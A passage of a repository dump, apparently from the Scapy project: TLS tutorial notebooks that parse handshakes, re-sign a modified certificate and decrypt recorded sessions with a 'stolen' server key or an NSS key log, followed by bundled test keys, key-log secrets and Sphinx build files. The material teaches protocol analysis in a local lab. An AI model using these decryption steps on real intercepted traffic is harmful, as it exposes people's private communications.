"metadata": { "collapsed": false }, "outputs": [], "source": [ "privkey.version = ASN1_INTEGER(1)\n", "privkey.modulus.val *= 2\n", "privkey.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "print('Original data: %r...' % keystr[:13])\n", "print('New version bytes: %r' % raw(privkey.version))\n", "print('New modulus bytes: %r...' % raw(privkey.modulus)[:6])\n", "print('Rebuilt data: %r...' % raw(privkey)[:13])" ] }, { "cell_type": "markdown", "metadata": { "collapsed": true }, "source": [ "## X.509 certificate features" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Let's reload the original key, then let's load a certificate associated with it\n", "privkey = RSAPrivateKey(keystr)\n", "cert = X509_Cert(open('raw_data/pki/ca_cert.der', 'rb').read())\n", "cert.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "cert.tbsCertificate.subjectPublicKeyInfo.subjectPublicKey.show()\n", "cert.tbsCertificate.subject[-1].rdn[0].show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "scrolled": true }, "outputs": [], "source": [ "cert.tbsCertificate.subjectPublicKeyInfo.subjectPublicKey.modulus == privkey.modulus" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "cert.tbsCertificate.extensions[2].show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "cert.signatureAlgorithm.algorithm" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Scapy crypto tools" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# Let's reload the key with Scapy's crypto-enhanced wrapper\n", "privkey = PrivKey('raw_data/pki/ca_key.der')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "privkey.der == keystr" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "print(privkey.key)\n", "print(privkey.pubkey)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# We can compute the RSA signature over the part of the certificate which is to be signed\n", "privkey.sign(raw(cert.tbsCertificate))" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "cert.signatureValue" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# We can quickly modify a certificate field and update the signature accordingly\n", "cert.tbsCertificate.serialNumber.val = 0xdeadcafe\n", "cert.tbsCertificate.subject[-1].rdn[0].value.val = 'my new deadcafe CA' \n", "cert2 = privkey.resignCert(cert)\n", "cert2.show()" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.13" } }, "nbformat": 4, "nbformat_minor": 2 } ================================================ FILE: doc/notebooks/tls/notebook2_tls_protected.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# TLS handshake overview\n", "This is the standard, modern TLS 1.2 handshake:\n", "\n", "\"Handshake" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# We're going to parse several successive records from the passive listening of a standard TLS handshake\n", "from scapy.all import *\n", "load_layer('tls')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## (C) ---> (S) ClientHello" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record1 = TLS(open('raw_data/tls_session_protected/01_cli.raw', 'rb').read())\n", "record1.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "for extension in record1.msg[0].ext:\n", " print('')\n", " extension.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## (C) <--- (S) ServerHello" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record2 = TLS(open('raw_data/tls_session_protected/02_srv.raw', 'rb').read())\n", "record2.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## (C) <--- (S) Certificate" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record3 = TLS(open('raw_data/tls_session_protected/03_srv.raw', 'rb').read())\n", "record3.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# The Certificate message actually contains a *chain* of certificates\n", "for cert in record3.msg[0].certs:\n", " print(type(cert[1]))\n", " cert[1].show()\n", " print('')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Let's recall the domain that the client wants to access\n", "record1.msg[0].ext[0].show()\n", "\n", "# Indeed the certificate may be used with other domains than its CN 'www.github.com'\n", "x509c = record3.msg[0].certs[0][1].x509Cert\n", "print(type(x509c))\n", "x509c.tbsCertificate.extensions[2].show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## (C) <--- (S) CertificateStatus, ServerKeyExchange, ServerHelloDone" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Here the server sent three TLS records in the same TCP segment\n", "record4 = TLS(open('raw_data/tls_session_protected/04_srv.raw', 'rb').read())\n", "record4.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Let's verify the signature in the ServerKeyExchange\n", "# First, we need to assemble the whole data being signed\n", "cli_random = pkcs_i2osp(record1.msg[0].gmt_unix_time, 4) + record1.msg[0].random_bytes\n", "srv_random = pkcs_i2osp(record2.msg[0].gmt_unix_time, 4) + record2.msg[0].random_bytes\n", "ecdh_params = bytes(record4[TLSServerKeyExchange].params)\n", "\n", "# Then we retrieve the server's Cert and verify the signature\n", "cert_srv = record3.msg[0].certs[0][1]\n", "cert_srv.verify(cli_random + srv_random + ecdh_params, record4[TLSServerKeyExchange].sig.sig_val, h='sha512')" ] }, { "cell_type": "markdown", "metadata": { "collapsed": true }, "source": [ "## (C) ---> (S) ClientKeyExchange, ChangeCipherSpec, Finished" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record5_str = open('raw_data/tls_session_protected/05_cli.raw', 'rb').read()\n", "record5 = TLS(record5_str)\n", "record5.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Every record has a 'tls_session' context which may enhance the parsing of later records\n", "record5 = TLS(record5_str, tls_session=record2.tls_session.mirror())\n", "record5.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## (C) <--- (S) NewSessionTicket, ChangeCipherSpec, Finished" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record6_str = open('raw_data/tls_session_protected/06_srv.raw', 'rb').read()\n", "record6 = TLS(record6_str, tls_session=record5.tls_session.mirror())\n", "record6.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## (C) ---> (S) ApplicationData" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record7_str = open('raw_data/tls_session_protected/07_cli.raw', 'rb').read()\n", "record7 = TLS(record7_str, tls_session=record6.tls_session.mirror())\n", "record7.show()" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.13" } }, "nbformat": 4, "nbformat_minor": 2 } ================================================ FILE: doc/notebooks/tls/notebook3_tls_compromised.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# The lack of PFS: a danger to privacy\n", "\n", "With TLS 1.2 and earlier, some cipher suites do not provide Perfect Forward Secrecy. Without this property, an attacker compromising the server private key can easily decrypt TLS traffic.\n", "\n", "In the following example, Scapy is used to decrypt a comunication made without PFS using the ciphersuite `TLS_RSA_WITH_AES_128_CBC_SHA`, giving the server private key stored in `raw_data/pki/srv_key.pem`." ] }, { "metadata": {}, "cell_type": "code", "source": [ "from scapy.all import *\n", "load_layer('tls')" ], "outputs": [], "execution_count": null }, { "metadata": {}, "cell_type": "code", "source": [ "record1_str = open('raw_data/tls_session_compromised/01_cli.raw', 'rb').read()\n", "record1 = TLS(record1_str)\n", "record1.msg[0].show()" ], "outputs": [], "execution_count": null }, { "cell_type": "code", "metadata": { "scrolled": true }, "source": [ "record2_str = open('raw_data/tls_session_compromised/02_srv.raw', 'rb').read()\n", "record2 = TLS(record2_str, tls_session=record1.tls_session.mirror())\n", "record2.msg[0].show()" ], "outputs": [], "execution_count": null }, { "cell_type": "code", "metadata": {}, "source": [ "# Supposing that the private key of the server was stolen,\n", "# the traffic can be decoded by registering it to the Scapy TLS session\n", "key = PrivKey('raw_data/pki/srv_key.pem')\n", "record2.tls_session.server_rsa_key = key" ], "outputs": [], "execution_count": null }, { "cell_type": "code", "metadata": {}, "source": [ "record3_str = open('raw_data/tls_session_compromised/03_cli.raw', 'rb').read()\n", "record3 = TLS(record3_str, tls_session=record2.tls_session.mirror())\n", "record3.show()" ], "outputs": [], "execution_count": null }, { "cell_type": "code", "metadata": {}, "source": [ "record4_str = open('raw_data/tls_session_compromised/04_srv.raw', 'rb').read()\n", "record4 = TLS(record4_str, tls_session=record3.tls_session.mirror())\n", "record4.show()" ], "outputs": [], "execution_count": null }, { "cell_type": "code", "metadata": {}, "source": [ "# This is the first TLS Record containing user data. If decryption works,\n", "# you should see the string \"To boldly go where no man has gone before...\" in plaintext.\n", "record5_str = open('raw_data/tls_session_compromised/05_cli.raw', 'rb').read()\n", "record5 = TLS(record5_str, tls_session=record4.tls_session.mirror())\n", "record5.show()" ], "outputs": [], "execution_count": null }, { "metadata": {}, "cell_type": "markdown", "source": [ "# Decrypting TLS Traffic Protected with PFS\n", "\n", "When PFS is in action, the only way to break TLS 1.2 is to possess decryption keys. They can be retrieved by dumping the process memory, or making the TLS library to write then into a [NSS Key Log](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/Key_Log_Format) (as allowed by OpenSSL, Chrome or Firefox).\n", "\n", "The data used in the following examples was retrieved the following commands:\n", "```\n", "cd doc/notebooks/tls/raw_data/\n", "\n", "# Start a TLS Server using the s_server\n", "sudo openssl s_server -accept localhost:443 -cert pki/srv_cert.pem -key pki/srv_key.pem -WWW\n", "\n", "# Sniff the network and write packets to a file\n", "sudo tcpdump -i lo -w tls_nss_example.pcap port 443\n", "\n", "# Connect to the server using TLS 1.2 and TLS 1.3, and write the keys to a file\n", "echo -e \"GET /pki/srv_key.pem HTTP/1.0\\r\\n\" | openssl s_client -connect localhost:443 -keylogfile tls_nss_example.keys.txt -tls1_2 -ign_eof\n", "echo -e \"GET /pki/srv_key.pem HTTP/1.0\\r\\n\" | openssl s_client -connect localhost:443 -keylogfile tls_nss_example.keys.txt -tls1_3 -ign_eof\n", "```\n", "\n", "## Decrypt a PCAP files\n", "\n", "Scapy can parse NSS Key logs, and use the cryptographic material to decrypt TLS traffic from a pcap file." ] }, { "metadata": {}, "cell_type": "code", "source": [ "load_layer(\"tls\")\n", "\n", "conf.tls_session_enable = True\n", "conf.tls_nss_filename = \"raw_data/tls_nss_example.keys.txt\"\n", "\n", "packets = sniff(offline=\"raw_data/tls_nss_example.pcap\", session=TCPSession)" ], "outputs": [], "execution_count": null }, { "metadata": {}, "cell_type": "code", "source": [ "# Display the TLS1.2 HTTP GET query\n", "packets[9][TLS].show()" ], "outputs": [], "execution_count": null }, { "metadata": {}, "cell_type": "code", "source": [ "# Display the answer containing the secret\n", "packets[10][TLS].show()" ], "outputs": [], "execution_count": null }, { "metadata": {}, "cell_type": "code", "source": [ "# Display the TLS1.3 HTTP GET query\n", "packets[27][TLS13].show()" ], "outputs": [], "execution_count": null }, { "metadata": {}, "cell_type": "code", "source": [ "# Display the answer containing the secret\n", "packets[28][TLS13].show()" ], "outputs": [], "execution_count": null }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Decrypt Manually\n", "\n", "Internally, the `conf.tls_session_enable` parameter makes Scapy follows TCP records, such as Client Hello or Server Hello, and updates `tlsSession` objects.\n", "\n", "Scapy inner behavior is illustrated by the following example." ] }, { "cell_type": "code", "metadata": {}, "source": [ "# Read packets from a pcap\n", "load_layer(\"tls\")\n", "\n", "conf.tls_session_enable = False\n", "packets = rdpcap(\"raw_data/tls_nss_example.pcap\")\n", "\n", "# Load the keys from a NSS Key Log\n", "nss_keys = load_nss_keys(\"raw_data/tls_nss_example.keys.txt\")" ], "outputs": [], "execution_count": null }, { "cell_type": "code", "metadata": {}, "source": [ "# Parse the Client Hello message from its raw bytes. This configures a new tlsSession object\n", "client_hello = TLS(raw(packets[3][TLS]))\n", "\n", "# Parse the Server Hello message, using the mirrored client_hello tlsSession object\n", "server_hello = TLS(raw(packets[5][TLS]), tls_session=client_hello.tls_session.mirror())\n", "\n", "# Configure the TLS master secret retrieved from the NSS Key Log\n", "server_hello.tls_session.master_secret = nss_keys[\"CLIENT_RANDOM\"][client_hello.tls_session.client_random]\n", "server_hello.tls_session.compute_ms_and_derive_keys()\n", "\n", "# Parse remaining TLS messages\n", "client_finished = TLS(raw(packets[7][TLS]), tls_session=server_hello.tls_session.mirror())\n", "server_finished = TLS(raw(packets[8][TLS]), tls_session=client_finished.tls_session.mirror())" ], "outputs": [], "execution_count": null }, { "cell_type": "code", "metadata": {}, "source": [ "# Display the HTTP GET query\n", "http_query = TLS(raw(packets[9][TLS]), tls_session=server_finished.tls_session.mirror())\n", "http_query.show()" ], "outputs": [], "execution_count": null }, { "cell_type": "code", "metadata": {}, "source": [ "# Display the answer containing the secret\n", "http_response = TLS(raw(packets[10][TLS]), tls_session=http_query.tls_session.mirror())\n", "http_response.show()" ], "outputs": [], "execution_count": null } ], "metadata": { "kernelspec": { "display_name": "Python 3 (ipykernel)", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.1" } }, "nbformat": 4, "nbformat_minor": 2 } ================================================ FILE: doc/notebooks/tls/notebook4_tls13.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# TLS 1.3 handshake overview\n", "This is the basic TLS 1.3 handshake:\n", "\n", "\"Handshake" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Dissecting the handshake" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "from scapy.all import *\n", "load_layer('tls')\n", "conf.logLevel = logging.INFO" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# ClientHello\n", "record1_str = open('raw_data/tls_session_13/01_cli.raw', 'rb').read()\n", "record1 = TLS(record1_str)\n", "sess = record1.tls_session\n", "record1.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# The PFS relies on the ECDH secret below being kept from observers, and deleted right after the key exchange\n", "from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey\n", "\n", "# Used in records 2-6 + 8\n", "x25519_client_privkey = open('raw_data/tls_session_13/cli_key.raw', 'rb').read()\n", "sess.tls13_client_privshares[\"x25519\"] = X25519PrivateKey.from_private_bytes(x25519_client_privkey)\n", "\n", "# Used in records 7 + 9\n", "x25519_server_privkey = open('raw_data/tls_session_13/srv_key.raw', 'rb').read()\n", "sess.tls13_server_privshare[\"x25519\"] = X25519PrivateKey.from_private_bytes(x25519_server_privkey)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "scrolled": true }, "outputs": [], "source": [ "# ServerHello + ChangeCipherSpec (middlebox compatibility)\n", "record2_str = open('raw_data/tls_session_13/02_srv.raw', 'rb').read()\n", "record2 = TLS(record2_str, tls_session=sess.mirror())\n", "record2.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# Encrypted Extensions\n", "record3_str = open('raw_data/tls_session_13/03_srv.raw', 'rb').read()\n", "record3 = TLS(record3_str, tls_session=sess)\n", "record3.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "scrolled": true }, "outputs": [], "source": [ "# Certificate\n", "record4_str = open('raw_data/tls_session_13/04_srv.raw', 'rb').read()\n", "record4 = TLS(record4_str, tls_session=sess)\n", "record4.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# Certificate verify\n", "record5_str = open('raw_data/tls_session_13/05_srv.raw', 'rb').read()\n", "record5 = TLS(record5_str, tls_session=sess)\n", "record5.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# Finished\n", "record6_str = open('raw_data/tls_session_13/06_srv.raw', 'rb').read()\n", "record6 = TLS(record6_str, tls_session=sess)\n", "record6.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# Client ChangeCipherSpec (middlebox compatibility) + Finished\n", "record7_str = open('raw_data/tls_session_13/07_cli.raw', 'rb').read()\n", "record7 = TLS(record7_str, tls_session=sess.mirror())\n", "record7.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Dissecting some data" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# Client application data\n", "record8_str = open('raw_data/tls_session_13/08_cli.raw', 'rb').read()\n", "record8 = TLS(record8_str, tls_session=sess)\n", "record8.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "scrolled": true }, "outputs": [], "source": [ "# Server application data\n", "record9_str = open('raw_data/tls_session_13/09_srv.raw', 'rb').read()\n", "record9 = TLS(record9_str, tls_session=sess.mirror())\n", "record9.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Observations sur TLS 1.3\n", "* Certificat désormais chiffré...\n", "* ...mais pas le Server Name dans le ClientHello\n", "* Risques du mode 0-RTT" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3 (ipykernel)", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.10.5" } }, "nbformat": 4, "nbformat_minor": 2 } ================================================ FILE: doc/notebooks/tls/raw_data/README.md ================================================ This folder is used in the notebook and in some tests. Files in this folder are therefore cross licensed under both GPLv2 and CC-BY-NC-SA 2.5. ================================================ FILE: doc/notebooks/tls/raw_data/pki/srv_cert.pem ================================================ -----BEGIN CERTIFICATE----- MIIDnjCCAoagAwIBAgIJAP4EVw3HJ+n2MA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV BAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz dCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAyODExWhcN MjYwOTE1MTAyODExWjBYMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0 YXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRowGAYDVQQDDBFTY2FweSBUZXN0 IFNlcnZlcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMzx8ZtgLWCu 8pgNJynZwAlZTA9KMKhS3+WxIZ9Pwz1Wk91fxvez9lWL55Li3vKFSbShLPT9dqhn ygQgYBEYpvKptqYd2arl2duv5q9VV5//Uoll5oBigCGUvM+BG8tnwp21BXcEpseI GIB4aJU23pcbtmGHQhp1mEWC6z4yEcibhkI5jU0St1gbGfOdK6GYgsrXOyT7CTmw vMKVz4IpdRYpP0IgFytNQIxWbK26DzSFsX9AeXF4t6UEu5T3tUGV7nzrjQx5aFnv y7P6Pnge7mdMet3gme/a5++yCV2+gCAhBYMsRNtdKnYppbAjiHQHVCLWKXqS9W8t nuf4JiucWGUCAwEAAaNvMG0wCQYDVR0TBAIwADALBgNVHQ8EBAMCBeAwHQYDVR0O BBYEFKErIHDSa4DlZbzrAw+In3St3fYTMB8GA1UdIwQYMBaAFGZTlPQV0b1naLBR NzI14aSq3gd8MBMGA1UdJQQMMAoGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4IB AQCBiJJza5PnldbdQe6OHr2jSFinQTU/e33QN5gOuCyUd8hRNkCtWQkoyFbW6lus tNg/aLdmyuFWN6kAZepRyeyyaUld+ePA7WFUyRKfxrAKc1XoVTVg7xw28NrRkHdW BLirOO73CcWlmJAj6h/bFX8yKIGrm4UCS5XnN1F7G0gu+z5Sow20RqmSOhwf1woe WEr6LlGPKcYeuA4xDnPxJ4gXyshpDPqDzbN5DhSwuJsvOi0J4/wG8Dpu/TY7KxoJ KuirX4xA5IGyvPeDZxFuTpPqIq//o5p3V3bQCzis+IqUNY7X1GHMAf8ktI9hI7qI 11nk6boqTrUVD5zQ6gaR2d6r -----END CERTIFICATE----- ================================================ FILE: doc/notebooks/tls/raw_data/pki/srv_key.pem ================================================ -----BEGIN PRIVATE KEY----- MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDM8fGbYC1grvKY DScp2cAJWUwPSjCoUt/lsSGfT8M9VpPdX8b3s/ZVi+eS4t7yhUm0oSz0/XaoZ8oE IGARGKbyqbamHdmq5dnbr+avVVef/1KJZeaAYoAhlLzPgRvLZ8KdtQV3BKbHiBiA eGiVNt6XG7Zhh0IadZhFgus+MhHIm4ZCOY1NErdYGxnznSuhmILK1zsk+wk5sLzC lc+CKXUWKT9CIBcrTUCMVmytug80hbF/QHlxeLelBLuU97VBle58640MeWhZ78uz +j54Hu5nTHrd4Jnv2ufvsgldvoAgIQWDLETbXSp2KaWwI4h0B1Qi1il6kvVvLZ7n +CYrnFhlAgMBAAECggEAIPA9uZAimuhjOwbaJYLGt3nvnIF7AoKXU449biJeqawR hcHP852r2KHsrRHjbSz45JwG4rUd7gEIWdNuPTEuG9Ak99vSUQIyGnnR5JodxCw/ 8q869aVfHIaQNfV1JyLdB4XBhBhuSaFY9sTjYh/4dGbS0Cfx+titiXZ6InvfmdMD eLd/ZO35/BwtWN3J2ntRziTTREKLeEYFEe7FtXKGwDGIsvVn7egckefKMnflhMFA SuoPn2VvTqmhiwSuATdx1TP4XOVdVzuL2wT7brS7qHvabRDBKdVOfrNGOoMdnnua ursIQjQindNT8kVK8EGxws9eFr/dooYYFR72IusTfQKBgQDuQBzzKEtt86uRCbZX Y3lu0MJnR5OOodfGBBYF9Ue+W3OJTd9EvXLSgLBLvwirB7lsNXgXf8LHCTQOtF3H lnB8jE5OFSDGeSKWmUwZS+KVzq8vy7Qylp9i6x4pElwGUeba6AqeZZ+jUUn/HzdB s2pO8YWqyOp/Zo/m8P+vPZN4fwKBgQDcNqJ4Dutt/i60E9kaktGQVQODRNMhYCEq E5fhwJiZ0E9FBeuKPKjo7dGIux3KPQPBv3T0zjmB+M5QERVe5/ID8iytgbHGlnsg 916iTN9rvi1Gk518vyFPsYjX9pPiQIayRBQKOXSYIkY+6rj2384XPRlZrN8D9n3Q +An1JXfdGwKBgDs3YjqpnD3i35S4BkMoLUl2x6rl5m4AGeJUp6ipc0CD+G57FXA/ aieZ5rec7qmbzOFxVLz6e03/Ipo5CEoQQTsjoF7V74SFHSyzQ2/SJao4aeCGT+52 83yhlah9sLO9bZShMep2tbvg+3RWrOQ+lMC0VRXCxE4QDtpGsjY7Jsk/AoGAPstV iOa4O6U/rBn8zpcPKxkS51u42MuQqW7s4HMLENFVyVjm0YR6pfEqztKMrB6584Wk 1Cn6PBW2vx4f+fAqEvX7x340M2y1r7DaS22gSBjy0C1Hu0rFNPRrESo/AUVlI3BG RqQbm0YqwcYs+DjZi8bgc7HX5kljlzMjo8QLagECgYA1DHAWv4WVrHt4I8V4ZCth 9DZEtEOFpYjuoFh/xSIMZLsnvWRuyYVWcQwAqmK0Ew4m5opHFsQzABeGLVsK5aHX zmbYiRUuZGVpyc7c5XXomw50X8ajfQ+P21OPPc33h96cdHi2qbJIejZPia6A6ThU u13D93hAM6bzH6Ds5FPUQw== -----END PRIVATE KEY----- ================================================ FILE: doc/notebooks/tls/raw_data/tls_nss_example.keys.txt ================================================ # SSL/TLS secrets log file, generated by OpenSSL CLIENT_RANDOM 216e876ea1a480c60145c4c80eb8d05c85b6806043105c391236cd4e88f79a21 54a828bfc25edf47070cd48b8253e8137e88082face8d7e96960756653b57f41bc6df3f45a5746bc9c6305ccd9b35ab8 SERVER_HANDSHAKE_TRAFFIC_SECRET 74ef95570af6a305910ee6cb0f98fc5bcec0c5d5dffe5f293ae9a4d7ba2110f2 5f2fd60aecc80ee54d17d48ec58fcfccf6fe229e08055dba1a6a09297bea98fd1268bdd6fe19e15c76d7c152d17f7237 EXPORTER_SECRET 74ef95570af6a305910ee6cb0f98fc5bcec0c5d5dffe5f293ae9a4d7ba2110f2 02aa67e90b524002f7eb00fcda23365ca6bfea5ad179d965264b5c1f6ff93483465b3c147c5070a90e47a406bd431152 SERVER_TRAFFIC_SECRET_0 74ef95570af6a305910ee6cb0f98fc5bcec0c5d5dffe5f293ae9a4d7ba2110f2 c5f265aee5d17472c71fa889cfa351b12b9280bf74d16477161fd495c87432632908cae923e390d5d52a4719c2f896de CLIENT_HANDSHAKE_TRAFFIC_SECRET 74ef95570af6a305910ee6cb0f98fc5bcec0c5d5dffe5f293ae9a4d7ba2110f2 bf58ee2a720cb26a594c0c7b714783a406f4daad18fbf7b7b3437bfe944d840cbc0e1843096e1c4ec92b68f230b22fa9 CLIENT_TRAFFIC_SECRET_0 74ef95570af6a305910ee6cb0f98fc5bcec0c5d5dffe5f293ae9a4d7ba2110f2 7f3ac59f48dbe7f0fa66f92a0e691cf6ad4b84062e66b303f3149107c723ffb8424f8a3488072a8938d842b403e43229 ================================================ FILE: doc/notebooks/tls/raw_data/tls_session_13/cli_key.raw ================================================ !"#$%&'()*+,-./0123456789:;<=>? ================================================ FILE: doc/notebooks/tls/raw_data/tls_session_13/srv_key.raw ================================================ ================================================ FILE: doc/scapy/Makefile ================================================ # Minimal makefile for Sphinx documentation # # You can set these variables from the command line. SPHINXOPTS = SPHINXBUILD = sphinx-build SPHINXPROJ = Scapy SOURCEDIR = . BUILDDIR = _build # Put it first so that "make" without argument is like "make help". help: @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) .PHONY: help Makefile # Catch-all target: route all unknown targets to Sphinx using the new # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS). %: Makefile @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) ================================================ FILE: doc/scapy/README ================================================ This folder includes source files (text and graphics) for Scapy's documentation, which is automatically built using Sphinx The *.rst files are written as reStructuredText and should be quite readable in your favourite text editor without any further formatting. To generate much nicer, searchable HTML docs, install Sphinx, open a command line, change to the directory where this README is placed, and type the following command: $ make html To generate a single PDF file (useful for printing) you need a working LaTeX installation (e.g. ). The following commands produce the file Scapy.pdf (>100 pages): $ make latex $ cd _build/latex $ make all-pdf ================================================ FILE: doc/scapy/_ext/linkcode_res.py ================================================ import inspect import os import sys import scapy # -- Linkcode resolver ----------------------------------------------------- # This is HEAVILY inspired by numpy's # https://github.com/numpy/numpy/blob/73fe877ff967f279d470b81ad447b9f3056c1335/doc/source/conf.py#L390 # Copyright (c) 2005-2020, NumPy Developers. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following # disclaimer in the documentation and/or other materials provided # with the distribution. # # * Neither the name of the NumPy Developers nor the names of any # contributors may be used to endorse or promote products derived # from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. def linkcode_resolve(domain, info): """ Determine the URL corresponding to Python object """ if domain != 'py': return None modname = info['module'] fullname = info['fullname'] submod = sys.modules.get(modname) if submod is None: return None obj = submod for part in fullname.split('.'): try: obj = getattr(obj, part) except Exception: return None # strip decorators, which would resolve to the source of the decorator # possibly an upstream bug in getsourcefile, bpo-1764286 try: unwrap = inspect.unwrap except 